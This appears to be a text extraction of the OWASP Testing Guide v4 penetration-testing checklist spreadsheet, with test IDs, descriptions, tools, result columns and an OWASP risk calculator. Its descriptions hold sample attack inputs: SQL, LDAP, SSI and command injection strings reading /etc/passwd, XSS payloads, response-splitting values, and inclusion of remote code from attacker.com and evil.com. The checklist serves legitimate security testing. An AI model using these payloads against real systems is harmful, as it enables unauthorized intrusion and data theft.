You are on page 1of 27

OWASP: Testing Guide v4 Checklist

By Prathan Phongthiproek

Information Gathering Test Name


Conduct Search Engine Discovery and Reconnaissance for
OTG-INFO-001
Information Leakage

OTG-INFO-002 Fingerprint Web Server

OTG-INFO-003 Review Webserver Metafiles for Information Leakage

OTG-INFO-004 Enumerate Applications on Webserver

Review Webpage Comments and Metadata for Information


OTG-INFO-005
Leakage
OTG-INFO-006 Identify application entry points

OTG-INFO-007 Map execution paths through application

OTG-INFO-008 Fingerprint Web Application Framework

OTG-INFO-009 Fingerprint Web Application

OTG-INFO-010 Map Application Architecture

Configuration and
Deploy Management Test Name
Testing

OTG-CONFIG-001 Test Network/Infrastructure Configuration

OTG-CONFIG-002 Test Application Platform Configuration


OTG-CONFIG-003 Test File Extensions Handling for Sensitive Information
OTG-CONFIG-004 Backup and Unreferenced Files for Sensitive Information

OTG-CONFIG-005 Enumerate Infrastructure and Application Admin Interfaces

OTG-CONFIG-006 Test HTTP Methods

OTG-CONFIG-007 Test HTTP Strict Transport Security

OTG-CONFIG-008 Test RIA cross domain policy

Identity Management
Test Name
Testing
OTG-IDENT-001 Test Role Definitions

OTG-IDENT-002 Test User Registration Process


OTG-IDENT-003 Test Account Provisioning Process

OTG-IDENT-004 Testing for Account Enumeration and Guessable User Account

OTG-IDENT-005 Testing for Weak or unenforced username policy

OTG-IDENT-006 Test Permissions of Guest/Training Accounts

OTG-IDENT-007 Test Account Suspension/Resumption Process

Authentication Testing Test Name

OTG-AUTHN-001 Testing for Credentials Transported over an Encrypted Channel

OTG-AUTHN-002 Testing for default credentials

OTG-AUTHN-003 Testing for Weak lock out mechanism

OTG-AUTHN-004 Testing for bypassing authentication schema

OTG-AUTHN-005 Test remember password functionality

OTG-AUTHN-006 Testing for Browser cache weakness

OTG-AUTHN-007 Testing for Weak password policy

OTG-AUTHN-008 Testing for Weak security question/answer

OTG-AUTHN-009 Testing for weak password change or reset functionalities

OTG-AUTHN-010 Testing for Weaker authentication in alternative channel

Authorization Testing Test Name


OTG-AUTHZ-001 Testing Directory traversal/file include

OTG-AUTHZ-002 Testing for bypassing authorization schema

OTG-AUTHZ-003 Testing for Privilege Escalation


OTG-AUTHZ-004 Testing for Insecure Direct Object References

Session Management
Test Name
Testing
OTG-SESS-001 Testing for Bypassing Session Management Schema

OTG-SESS-002 Testing for Cookies attributes

OTG-SESS-003 Testing for Session Fixation

OTG-SESS-004 Testing for Exposed Session Variables

OTG-SESS-005 Testing for Cross Site Request Forgery

OTG-SESS-006 Testing for logout functionality


OTG-SESS-007 Test Session Timeout

OTG-SESS-008 Testing for Session puzzling

Data Validation Testing Test Name

OTG-INPVAL-001 Testing for Reflected Cross Site Scripting

OTG-INPVAL-002 Testing for Stored Cross Site Scripting

OTG-INPVAL-003 Testing for HTTP Verb Tampering

OTG-INPVAL-004 Testing for HTTP Parameter pollution

OTG-INPVAL-005 Testing for SQL Injection

Oracle Testing

MySQL Testing

SQL Server Testing

Testing PostgreSQL

MS Access Testing

Testing for NoSQL injection

OTG-INPVAL-006 Testing for LDAP Injection

OTG-INPVAL-007 Testing for ORM Injection


OTG-INPVAL-008 Testing for XML Injection

OTG-INPVAL-009 Testing for SSI Injection


OTG-INPVAL-010 Testing for XPath Injection

OTG-INPVAL-011 IMAP/SMTP Injection

OTG-INPVAL-012 Testing for Code Injection

Testing for Local File Inclusion

Testing for Remote File Inclusion

OTG-INPVAL-013 Testing for Command Injection

OTG-INPVAL-014 Testing for Buffer overflow

Testing for Heap overflow


Testing for Stack overflow
Testing for Format string
OTG-INPVAL-015 Testing for incubated vulnerabilities

OTG-INPVAL-016 Testing for HTTP Splitting/Smuggling

Error Handling Test Name

OTG-ERR-001 Analysis of Error Codes

OTG-ERR-002 Analysis of Stack Traces

Cryptography Test Name


Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer
OTG-CRYPST-001
Protection

OTG-CRYPST-002 Testing for Padding Oracle


OTG-CRYPST-003 Testing for Sensitive information sent via unencrypted channels

Business logic Testing Test Name

OTG-BUSLOGIC-001 Test Business Logic Data Validation

OTG-BUSLOGIC-002 Test Ability to Forge Requests

OTG-BUSLOGIC-003 Test Integrity Checks

OTG-BUSLOGIC-004 Test for Process Timing

OTG-BUSLOGIC-005 Test Number of Times a Function Can be Used Limits

OTG-BUSLOGIC-006 Testing for the Circumvention of Work Flows

OTG-BUSLOGIC-007 Test Defenses Against Application Mis-use


OTG-BUSLOGIC-008 Test Upload of Unexpected File Types

OTG-BUSLOGIC-009 Test Upload of Malicious Files

Client Side Testing Test Name


OTG-CLIENT-001 Testing for DOM based Cross Site Scripting

OTG-CLIENT-002 Testing for JavaScript Execution

OTG-CLIENT-003 Testing for HTML Injection

OTG-CLIENT-004 Testing for Client Side URL Redirect

OTG-CLIENT-005 Testing for CSS Injection

OTG-CLIENT-006 Testing for Client Side Resource Manipulation

OTG-CLIENT-007 Test Cross Origin Resource Sharing

OTG-CLIENT-008 Testing for Cross Site Flashing

OTG-CLIENT-009 Testing for Clickjacking

OTG-CLIENT-010 Testing WebSockets

OTG-CLIENT-011 Test Web Messaging

OTG-CLIENT-012 Test Local Storage

Not Started
Pass
Issues
N/A
Description Tools

Use a search engine to search for Network diagrams and Configurations, Google Hacking, Sitedigger,
Credentials, Error message content. Shodan, FOCA, Punkspider
Find the version and type of a running web server to determine known Httprint, Httprecon,
vulnerabilities and the appropriate exploits. Using Desenmascarame
"HTTP header field ordering" and "Malformed requests test".
Analyze robots.txt and identify <META> Tags from website. Browser, curl, wget
Webhosting.info, dnsrecon,
Find applications hosted in the webserver (Virtual hosts/Subdomain), non- Nmap, fierce, Recon-ng,
standard ports, DNS zone transfers Intrigue
Find sensitive information from webpage comments and Metadata on Browser, curl, wget
source code.

Burp proxy, ZAP, Tamper data


Identify from hidden fields, parameters, methods HTTP header analysis
Map the target application and understand the principal workflows. Burp proxy, ZAP
Find the type of web application framework/CMS from HTTP headers, Whatweb, BlindElephant,
Cookies, Source code, Specific files and folders. Wappalyzer
Identify the web application and version to determine known vulnerabilities Whatweb, BlindElephant,
and the appropriate exploits. Wappalyzer, CMSmap
Identify application architecture including Web language, WAF, Reverse
Browser, curl, wget
proxy, Application Server, Backend Database

Description Tools

Understand the infrastructure elements interactions, config management


for software, backend DB server, WebDAV, FTP in order to identify known Nessus
vulnerabilities.
Identify default installation file/directory, Handle Server errors (40*,50*),
Browser, Nikto
Minimal Privilege, Software logging.
Find important file, information (.asa , .inc , .sql ,zip, tar, pdf, txt, etc) Browser, Nikto
Check JS source code, comments, cache file, backup file (.old, .bak,
Nessus, Nikto, Wikto
.inc, .src) and guessing of filename
Directory and file enumeration, comments and links in source (/admin, Burp Proxy, dirb, Dirbuster,
/administrator, /backoffice, /backend, etc), alternative server port fuzzdb, Tilde Scanner
(Tomcat/8080)
Identify HTTP allowed methods on Web server with OPTIONS. Arbitrary
netcat, curl
HTTP Methods, HEAD access control bypass and XST

Identify HSTS header on Web server through HTTP response header. Burp Proxy, ZAP, curl
curl -s -D- https://domain.com/ | grep Strict
Analyse the permissions allowed from the policy files
Burp Proxy, ZAP, Nikto
(crossdomain.xml/clientaccesspolicy.xml) and allow-access-from.

Description Tools

Validate the system roles defined within the application by creating


Burp Proxy, ZAP
permission matrix.
Verify that the identity requirements for user registration are aligned
Burp Proxy, ZAP
with business and security requirements:
Determine which roles are able to provision users and what sort of
Burp Proxy, ZAP
accounts they can provision.

Generic login error statement check, return codes/parameter values, Browser, Burp Proxy, ZAP
enumerate all possible valid userids (Login system, Forgot password)
User account names are often highly structured (e.g. Joe Bloggs
account name is jbloggs and Fred Nurks account name is fnurks) Browser, Burp Proxy, ZAP
and valid account names can easily be guessed.

Guest and Training accounts are useful ways to acquaint potential users
with system functionality prior to them completing the authorisation Burp Proxy, ZAP
process required for access.Evaluate consistency between access policy
and guest/training account access permissions.
Verify the identity requirements for user registration align with
Burp Proxy, ZAP
business/security requirements. Validate the registration process.

Description Tools

Check referrer whether its HTTP or HTTPs. Sending data through HTTP Burp Proxy, ZAP
and HTTPS.
Testing for default credentials of common applications, Testing for default
Burp Proxy, ZAP, Hydra
password of new accounts.
Evaluate the account lockout mechanisms ability to mitigate
brute force password guessing. Evaluate the unlock mechanisms Browser
resistance to unauthorized account unlocking.
Force browsing (/admin/main.php, /page.asp?authenticated=yes), Burp Proxy, ZAP
Parameter Modification, Session ID prediction, SQL Injection
Look for passwords being stored in a cookie. Examine the cookies stored
by the application. Verify that the credentials are not stored in clear text, Burp Proxy, ZAP
but are hashed. Autocompleted=off?
Check browser history issue by clicking "Back" button after logging out. Burp Proxy, ZAP, Firefox add-
Check browser cache issue from HTTP response headers (Cache- on CacheViewer2
Control: no-cache)

Determine the resistance of the application against brute force


password guessing using available password dictionaries by evaluating Burp Proxy, ZAP, Hydra
the length, complexity, reuse and aging requirements of
passwords.

Testing for weak pre-generated questions, Testing for weak self-generated Browser
question, Testing for brute-forcible answers (Unlimited attempts?)
Test password reset (Display old password in plain-text?, Send via email?,
Random token on confirmation email ?), Test password change (Need old Browser, Burp Proxy, ZAP
password?), CSRF vulnerability ?
Understand the primary mechanism and Identify other channels (Mobile
Browser
App, Call center, SSO)

Description Tools
dot-dot-slash attack (../), Directory traversal, Local File inclusion/Remote
Burp Proxy, ZAP, Wfuzz
File Inclusion.
Access a resource without authentication?, Bypass ACL, Force browsing
Burp Proxy (Autorize), ZAP
(/admin/adduser.jsp)
Testing for role/privilege manipulate the values of hidden variables.
Burp Proxy (Autorize), ZAP
Change some param groupid=2 to groupid=1
Force changing parameter value (?invoice=123 -> ?invoice=456) Burp Proxy (Autorize), ZAP

Description Tools
SessionID analysis prediction, unencrypted cookie transport, Burp Proxy, ForceSSL, ZAP,
brute-force. CookieDigger
Check HTTPOnly and Secure flag, expiration, inspect for sensitive
Burp Proxy, ZAP
data.
The application doesn't renew the cookie after a successfully user
Burp Proxy, ZAP
authentication.
Encryption & Reuse of session Tokens vulnerabilities, Send
Burp Proxy, ZAP
sessionID with GET method ?
Burp Proxy
(csrf_token_detect), burpy,
URL analysis, Direct access to functions without any token. ZAP
Check reuse session after logout both server-side and SSO. Burp Proxy, ZAP
Check session timeout, after the timeout has passed, all session tokens
Burp Proxy, ZAP
should be destroyed or be unusable.
The application uses the same session variable for more than one
purpose. An attacker can potentially access pages in an order Burp Proxy, ZAP
unanticipated by the developers so that the session variable is set in one
context and then used in another.

Description Tools

Check for input validation, Replace the vector used to identify XSS, XSS Burp Proxy, ZAP, Xenotix XSS
with HTTP Parameter Pollution.
Check input forms/Upload forms and analyze HTML codes, Leverage XSS Burp Proxy, ZAP, BeEF, XSS
with BeEF Proxy
Craft custom HTTP requests to test the other methods to bypass URL
netcat
authentication and authorization.
Identify any form or action that allows user-supplied input to bypass Input ZAP, HPP Finder (Chrome
validation and filters using HPP Plugin)

Burp Proxy (SQLipy), SQLMap,


Pangolin, Seclists (FuzzDB)
Union, Boolean, Error based, Out-of-band, Time delay.
Identify URLs for PL/SQL web applications, Access with PL/SQL
Orascan, SQLInjector
Packages, Bypass PL/SQL Exclusion list, SQL Injection
Identify MySQL version, Single quote, Information_schema, Read/Write SQLMap, Mysqloit, Power
file. Injector
Comment operator (- -), Query separator (;), Stored procedures SQLMap, SQLninja, Power
(xp_cmdshell) Injector

Determine that the backend database engine is PostgreSQL by using SQLMap


the :: cast operator. Read/Write file, Shell Injection (OS command)
Enumerate the column through error-based (Group by), Obtain database
SQLMap
schema combine with fuzzdb.
Identify NoSQL databases, Pass special characters (' " \ ; { } ), Attack with
NoSQLMap
reserved variable name, operator.
/ldapsearch?user=*
user=*user=*)(uid=*))(|(uid=* Burp Proxy, ZAP
pass=password
Testing ORM injection is identical to SQL injection testing Hibernate, Nhibernate
Check with XML Meta Characters
Burp Proxy, ZAP, Wfuzz
', " , <>, <!--/-->, &, <![CDATA[ / ]]>, XXE, TAG
Presense of .shtml extension
Check for these characters Burp Proxy, ZAP
< ! # = / . " - > and [a-zA-Z0-9]
include String = <!--#include virtual="/etc/passwd" -->
Check for XML error enumeration by supplying a single quote (')
Username: or 1 = 1 Burp Proxy, ZAP
Password: or 1 = 1
Identifying vulnerable parameters with special characters
(i.e.: \, , , @, #, !, |)
Understanding the data flow and deployment structure of the Burp Proxy, ZAP
client
IMAP/SMTP command injection (Header, Body, Footer)
Enter OS commands in the input field. Burp Proxy, ZAP, Liffy, Panoptic
?arg=1; system('id')
LFI with dot-dot-slash (../../), PHP Wrapper (php://filter/convert.base64-
Burp Proxy, fimap, Liffy
encode/resource)
RFI from malicious URL
Burp Proxy, fimap, Liffy
?page.php?file=http://attacker.com/malicious_page
Understand the application platform, OS, folder structure, relative
path and execute OS commands on a Web server. Burp Proxy, ZAP, Commix
%3Bcat%20/etc/passwd
test.pdf+|+Dir C:\
Testing for heap overflow vulnerability Immunity Canvas, Spike, MSF,
Testing for stack overflow vulnerability Nessus
Testing for format string vulnerability

File Upload, Stored XSS , SQL/XPATH Injection, Misconfigured


Burp Proxy, BeEF, MSF
servers (Tomcat, Plesk, Cpanel)

param=foobar%0d%0aContent-Length:%200%0d%0a%0d
%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html Burp Proxy, ZAP, netcat
%0d%0aContent-Length:%2035%0d%0a%0d%0a<html>Sorry,
%20System%20Down</html>

Description Tools
Locate error codes generated from applications or web servers. Collect
sensitive information from that errors (Web Server, Application Server, Burp Proxy, ZAP
Database)
Invalid Input / Empty inputs
Input that contains non alphanumeric characters or query syn
tax Burp Proxy, ZAP
Access to internal pages without authentication
Bypassing application flow

Description Tools
Identify SSL service, Idectify weak ciphers/protocols (ie. RC4, BEAST, testssl.sh, SSL Breacher
CRIME, POODLE)

Compare the responses in three different states:


Cipher text gets decrypted, resulting data is correct. PadBuster, Poracle, python-
Cipher text gets decrypted, resulting data is garbled and causes paddingoracle, POET
some exception or error handling in the application logic.
Cipher text decryption fails due to padding errors.
Check sensitive data during the transmission:
Burp Proxy, ZAP, Curl
Information used in authentication (e.g. Credentials, PINs, Session
identifiers, Tokens, Cookies)
Information protected by laws, regulations or specific organizational
policy (e.g. Credit Cards, Customers data)

Description Tools

Looking for data entry points or hand off points between systems or Burp Proxy, ZAP
software.
Once found try to insert logically invalid data into the application/system.

Looking for guessable, predictable or hidden functionality of fields.


Once found try to insert logically valid data into the application/system Burp Proxy, ZAP
allowing the user go through the application/system against the normal
busineess logic workflow.

Looking for parts of the application/system (components i.e. For example,


input fields, databases or logs) that move, store or handle
data/information.
For each identified component determine what type of data/information is Burp Proxy, ZAP
logically acceptable and what types the application/system should guard
against. Also, consider who according to the business logic is allowed to
insert, update and delete data/information and in each component.
Attempt to insert, update or edit delete the data/information values with
invalid data/information into each component (i.e. input, database, or log)
by users that .should not be allowed per the busines logic workflow.

Looking for application/system functionality that may


be impacted by time. Such as execution time or actions that
help users predict a future outcome or allow one to circumvent
any part of the business logic or workflow. For example, not
Burp Proxy, ZAP
completing transactions in an expected time.
Develop and execute the mis-use cases ensuring that attackers
can not gain an advantage based on any timing.

Looking for functions or features in the application or system that should


not be executed more that a single time or specified number of times
during the business logic workflow.
Burp Proxy, ZAP
For each of the functions and features found that should only be
executed a single time or specified number of times during the business
logic workflow, develop abuse/misuse cases that may allow a user to
execute more than the allowable number of times.

Looking for methods to skip or go to steps in the application process in a


different order from the designed/intended business logic flow. Burp Proxy, ZAP
For each method develop a misuse case and try to circumvent or
perform an action that is "not acceptable" per the the business logic
workflow.

Measures that might indicate the application has in-built self-defense:


Changed responses Burp Proxy, ZAP
Blocked requests
Actions that log a user out or lock their account
Review the project documentation and perform some exploratory testing
looking for file types that should be "unsupported" by the
application/system.
Try to upload these unsupported files an verify that it are properly Burp Proxy, ZAP
rejected.
If multiple files can be uploaded at once, there must be tests in place to
verify that each file is properly evaluated.
PS. file.phtml, shell.phPWND, SHELL~1.PHP

Develop or acquire a known malicious file.


Try to upload the malicious file to the application/system and verify that it
is correctly rejected. Burp Proxy, ZAP
If multiple files can be uploaded at once, there must be tests in place to
verify that each file is properly evaluated.

Description Tools
Test for the user inputs obtained from client-side JavaScript Objects Burp Proxy, DOMinator
Inject JavaScript code:
Burp Proxy, ZAP
www.victim.com/?javascript:alert(1)
Send malicious HTML code:
Burp Proxy, ZAP
?user=<img%20src='aaa'%20onerror=alert(1)>
Modify untrusted URL input to a malicious site: (Open Redirect)
Burp Proxy, ZAP
?redirect=www.fake-target.site
Inject code in the CSS context :
www.victim.com/#red;-o-link:'javascript:alert(1)';-o-link-source:current; Burp Proxy, ZAP
(Opera [8,12])
www.victim.com/#red;-:expression(alert(URL=1)); (IE 7/8)
External JavaScript could be easily injected in the trusted web site
Burp Proxy, ZAP
www.victim.com/#http://evil.com/js.js
Check the HTTP headers in order to understand how CORS is
Burp Proxy, ZAP
used (Origin Header)
Decompile, Undefined variables, Unsafe methods, Include malicious SWF FlashBang, Flare, Flasm,
(http://victim/file.swf?lang=http://evil SWFScan, SWF Intruder
Discover if a website is vulnerable by loading into an iframe, create simple Burp Proxy, ClickjackingTool
web page that includes a frame containing the target.

Identify that the application is using WebSockets by inspecting ws:// or Burp Proxy, Chrome, ZAP,
wss:// URI scheme.Use Google Chrome's Developer Tools to view the WebSocket Client
Network WebSocket communication. Check Origin, Confidentiality and
Integrity, Authentication, Authorization, Input Sanitization

Analyse JavaScript code looking for how Web Messaging is implemented. Burp Proxy, ZAP
How the website is restricting messages from untrusted domain and how
the data is handled even for trusted domains
Determine whether the website is storing sensitive data in the storage. Chrome, Firebug, Burp Proxy,
XSS in localstorage ZAP
http://server/StoragePOC.html#<img src=x onerror=alert(1)>
Result Remark

Not Started

Not Started

Not Started

Not Started

Not Started

Not Started

Not Started

Not Started

Not Started

Not Started

Result Remark

Not Started

Not Started
Not Started
Not Started

Not Started

Not Started

Not Started

Not Started

Result Remark

Not Started

Not Started
Not Started

Not Started

Not Started

Not Started

Not Started

Result Remark

Not Started

Not Started

Not Started

Not Started

Not Started

Not Started

Not Started

Not Started

Not Started

Not Started

Result Remark
Not Started

Not Started

Not Started
Not Started

Result Remark
Not Started

Not Started

Not Started

Not Started

Not Started

Not Started
Not Started

Not Started

Result Remark

Not Started

Not Started

Not Started

Not Started

Not Started

Not Started

Not Started

Not Started

Not Started

Not Started

Not Started

Not Started

Not Started
Not Started

Not Started
Not Started

Not Started

Not Started

Not Started

Not Started

Not Started

Not Started

Not Started
Not Started
Not Started
Not Started

Not Started

Result Remark

Not Started

Not Started

Result Remark
Not Started

Not Started
Not Started

Result Remark

Not Started

Not Started

Not Started

Not Started

Not Started

Not Started

Not Started
Not Started

Not Started

Result Remark
Not Started

Not Started

Not Started

Not Started

Not Started

Not Started

Not Started

Not Started

Not Started

Not Started

Not Started

Not Started
Vulnerability Affected Likeliho
No. OTG Impact Risk
Name Host/Path od
www.example.com/n
1 SQL Injection OTG-INPVAL-005 High Moderate
ews.php (id,page) High
Test
Observation/Implica Recommendat
Eviden
tion ion
ce
xxx-1
OWASP Risk Assessment Calculator
Risk Assessment Calculator
Likelihood factors
Threat Agent Factors
Skills required Network and programmaing skills [3] 3
Motive Possible reward [4] 4
Full access or expensive resources required
Opportunity 0
[0]
Population Size System Administrators [2] 2

Vulnerability Factors
Easy of Discovery Practically impossible [1] 1
Ease of Exploit Easy [5] 5
Awareness Hidden [4] 4
Intrusion DetectionLogged and reviewed [3] 3

Likelihood score: 2.75

Overall Risk Severity : Note

Impact
Likelihood ->Low<- Moderate High
->Low<- ->Note<- Low Moderate
Moderate Low Moderate High
High Moderate High Critical
Assessment Calculator
essment Calculator
Impact factors REF
Technical Impact Factors
Loss of confidentialit Minimal non-sensitive data disclosed [2] 2
Loss of Integrity Minimal seriously corrupt data [3] 3
Minimal secondary services interrupted
Loss of Availability 1
[1]
Loss of Accountabilit Not Applicable [0] 0

Business Impact Factors


Financial damage Minor effect on annual profit [3] 3
Reputation damage Loss of major accounts [4] 4
Non-Compliance Clear violation [5] 5
Privacy violation One individual [3] 3

Impact score: 2.625

Note
http://paradoslabs.nl/owaspcalc/index.php
Skills required Motive
Select an option Select an option
Not Applicable [0] 0 Not Applicable [0] 0
Security penetration skills [1] 1 Low or no reward [1] 1
Network and programmaing skills [3] 3 Possible reward [4] 4
Advanced computer user [4] 4 High reward [9] 9
Some technical skills [6] 6
no technical skills [9] 9

Loss of confidentiality Loss of Integrity


Select an option Select an option
Not Applicable [0] 0 Not Applicable [0] 0
Minimal non-sensitive data disclosed [2] 2 Minimal slightly corrupt data [1] 1
Extensive non-sensitive data disclosed [6] 6 Minimal seriously corrupt data [3] 3
Extensive critical data disclosed [7] 7 Extensive slightly corrupt data [5] 5
All data disclosed [9] 9 Extensive seriously corrupt data [7] 7
All data totally corrupt [9] 9
Opportunity Population Size
Select an option Select an option
Full access or expensive resources required [0] 0 Not Applicable [0] 0
Special access or resources required [4] 4 System Administrators [2] 2
Some access or resources required [7] 7 Intranet Users [4] 4
No access or resources required [9] 9 Partners [5] 5
Authenticated users [6] 6
Anonymous Internet users [9] 9

Loss of Availability Loss of Accountability


Select an option Select an option
Not Applicable [0] 0 Not Applicable [0] 0
Minimal secondary services interrupted [1] 1 Attack fully traceable to individual [1] 1
Minimal primary services interrupted [5] 5 Attack possibly traceable to individual [7] 7
Extensive primary services interrupted [7] 7 Attack completely anonymous [9] 9
All services completely lost [9] 9
Easy of Discovery Ease of Exploit
Select an option Select an option
Not Applicable [0] 0 Not Applicable [0] 0
Practically impossible [1] 1 Theoretical [1] 1
Difficult [3] 3 Difficult [3] 3
Easy [7] 7 Easy [5] 5
Automated tools available [9] 9 Automated tools available [9] 9

Financial damage Reputation damage


Select an option Select an option
Not Applicable [0] 0 Not Applicable [0] 0
Damage costs less than to fix the issue [1] 1 Minimal damage [1] 1
Minor effect on annual profit [3] 3 Loss of major accounts [4] 4
Significant effect on annual profit [7] 7 Loss of goodwill [5] 5
Backruptcy [9] 9 Brand damage [9] 9
Awareness Intrusion Detection
Select an option Select an option
Not Applicable [0] 0 Not Applicable [0] 0
Unknown [1] 1 Active detection in application [1] 1
Hidden [4] 4 Logged and reviewed [3] 3
Obvious [6] 6 Logged without review [8] 8
Public knowledge [7] 7 Not logged [9] 9

Non-Compliance Privacy violation


Select an option Select an option
Not Applicable [0] 0 Not Applicable [0] 0
Minor violation [2] 2 One individual [3] 3
Clear violation [5] 5 Hundreds of people [5] 5
High profile violation [7] 7 Thousands of people [7] 7
Millions of people [9] 9

You might also like